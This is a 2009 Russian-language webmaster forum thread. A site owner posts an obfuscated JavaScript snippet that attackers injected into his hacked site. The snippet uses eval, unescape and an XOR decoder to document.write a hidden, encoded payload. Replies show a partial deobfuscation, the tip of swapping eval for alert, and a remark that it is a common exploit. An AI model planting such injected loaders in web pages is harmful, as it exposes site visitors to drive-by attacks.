Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.6650
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 27.07.2009, 17:16   #1
bop
Юниор
 
Регистрация: 07.05.2008
Сообщений: 19
Бабло: $375
Question Ломанули сайт, добавили такой скрипт

"<script>eval(unescape('function%20HI_%28CAah%29%7 BHAaRHD%3Dnew%20String%28arguments.callee%29.repla ce%28/%5B%[email protected]_.%5D/g%2C%27%27%29%2C_lsCH%3D%27%27%2CRRLrS%3D-1%2CRAA%3D-1%3Bvar%20PASI%3D0%3Bfor%28RRLrS%3D0%3BRRLrS%3CHAa RHD.length%3BRRLrS++%29PASI%5E%3DHAaRHD.charCodeAt %28RRLrS%29%3BRRLrS%3D-1%3Bwhile%28++RAA%3CCAah.length%29%7Bif%28RRLrS%3D %3DHAaRHD.length%29RRLrS%3D0%3Belse%20RRLrS++%3B_l sCH+%3DString.fromCharCode%28PASI%5ECAah.charCodeA t%28RAA%29%5EHAaRHD.charCodeAt%28RRLrS%29%29%3B%7D document.write%28_lsCH%29%3B_lsCH%3D%27%27%3Bretur n%3B%7D'));HI_(unescape('X%04%0F%13%1F%1B%19R%3D%2 23%25%2C%14D97%02%24%[email protected]%3E%18%15LW%01%0C%13%10 %1A%0A%09%18X%06%5E%08%17%[email protected]%5BE%[email protected]%11FLe%02% 15W%1Ch%7F%7DB%040%0BL%09%15%22%20-3%19%13%231%20%0E%28D%18%267%21q%1DKZA%23%20%27%13 4%1C9%3E%28%1F%7E%3El%5Cwaad1%15%1C%065%22w%7BiMvy %0E0%3F%22m%11%3F%3F%28HI%27%02%04%29C%14%06-%12%3F%3DfY%7BaezYz%14%29MK%19%0E47+%7CsFJD%0B%0E% 0B%0D%02W%5BAp%23-%02%3E%26/%0A%3E-%7BB%01G%0A%17%17%0752%21%025W%15SAG%3D1%3C%1783%0 6%14%28-9%02M%5BL%08M%16%17%04%016%03%07%04%29PVYnlv%60f*% 05M%07F%18%02WjJ%0B%02%7DQy%7Fl9%20%119%3A2%12')); </script>"

хз что он делает, изменений не заметил особо, но удалил на всякий случай со всех страниц и заблокировал доступ.
мот кто сталкивался? и знает что за шляпа такая???
bop вне форума  
Старый 27.07.2009, 17:18   #2
D007
саловер
 
Аватар для D007
 
Регистрация: 17.04.2007
Сообщений: 3,137
Бабло: $281155
Отправить сообщение для D007 с помощью ICQ
По умолчанию

расшифровать не пробовал?
D007 вне форума  
Старый 27.07.2009, 18:07   #3
proc3nt
el patron
 
Аватар для proc3nt
 
Регистрация: 17.04.2007
Сообщений: 457
Бабло: $2147483647
Отправить сообщение для proc3nt с помощью ICQ
По умолчанию

Код:
function HI_(CAah){
BHAaRHD=new String(arguments.callee).repla ce(/[^@a-z0-9A-Z_.]/g,''),_lsCH='',RRLrS=-1,RAA=-1;
var PASI=0;
for(RRLrS=0;RRLrS<HAa RHD.length;RRLrS++)
PASI^=HAaRHD.charCodeAt (RRLrS);
RRLrS=-1;while(++RAA<CAah.length)
{
if(RRLrS= =HAaRHD.length)RRLrS=0;else RRLrS++;
_l sCH+=String.fromCharCode(PASI^CAah.charCodeAt(RAA)^HAaRHD.charCodeAt(RRLrS));
}
document.write(_lsCH);
_lsCH='';
retur n;}
Хз че тут еще вычислить можно
__________________
10 лет на гофаке, хранитель традиций, летописец, легенда
proc3nt вне форума  
Старый 27.07.2009, 18:10   #4
bop
Юниор
 
Регистрация: 07.05.2008
Сообщений: 19
Бабло: $375
ТС -->
автор темы ТС По умолчанию

Цитата:
Сообщение от D007 Посмотреть сообщение
расшифровать не пробовал?
function HI_(CAah) % 7 BHAaRHD = new String(arguments.callee).repla ce(/[^@a-z0-9A-Z_.]/g, ''),
_lsCH = '',
RRLrS = -1,
RAA = -1;
var PASI = 0;
for (RRLrS = 0; RRLrS < HAa RHD.length; RRLrS++) PASI ^= HAaRHD.charCodeAt(RRLrS);
RRLrS = -1;
while (++RAA < CAah.length) {
if (RRLrS = =HAaRHD.length) RRLrS = 0;
else RRLrS++;
_l sCH += String.fromCharCode(PASI ^ CAah.charCodeA t(RAA) ^ HAaRHD.charCodeAt(RRLrS));
}
document.write(_lsCH);
_lsCH = '';
retur n;
}

вот что получил, лучшего добиться не смог.
так а что он может делать? я слаб в программинге
bop вне форума  
Старый 27.07.2009, 18:11   #5
proc3nt
el patron
 
Аватар для proc3nt
 
Регистрация: 17.04.2007
Сообщений: 457
Бабло: $2147483647
Отправить сообщение для proc3nt с помощью ICQ
По умолчанию

Цитата:
Сообщение от bop Посмотреть сообщение
подкажи чем расшифровывать лучше?
Заменяешь eval на alert
__________________
10 лет на гофаке, хранитель традиций, летописец, легенда
proc3nt вне форума  
Старый 27.07.2009, 18:36   #6
bop
Юниор
 
Регистрация: 07.05.2008
Сообщений: 19
Бабло: $375
ТС -->
автор темы ТС По умолчанию

thanks for help
bop вне форума  
Старый 27.07.2009, 23:52   #7
Tosser
Yea!
 
Аватар для Tosser
 
Регистрация: 15.02.2008
Сообщений: 2,333
Бабло: $313955
По умолчанию

бля да эксп обычный
__________________
Tosser вне форума